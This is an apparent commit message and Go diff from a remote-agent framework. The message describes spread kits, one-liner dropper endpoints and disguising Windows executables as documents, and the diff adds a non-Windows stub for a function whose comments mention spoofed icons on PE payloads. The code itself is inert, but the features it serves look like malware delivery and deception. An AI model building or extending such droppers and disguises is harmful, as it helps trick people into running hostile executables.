Add universal forge, fusion disguise, remote deploy, and stability fixes.

Ship cross-platform spread kits and fusion ZIPs with per-OS launchers, one-liner dropper endpoints, Windows file disguise, and a large batch of wiring/bug fixes so agents connect reliably across a LAN test fleet.

server/internal/builder/disguise_stub.go

@@ -0,0 +1,10 @@
+//go:build !windows
+
+package builder
+
+// applyDocumentDisguise is a no-op on non-Windows build hosts.
+// Icon + version-info injection into PE executables requires Windows tooling.
+// The runner will still function correctly; it just won't have the spoofed icon.
+func (h *Handler) applyDocumentDisguise(payloadExt, exePath string) error {
+	return nil
+}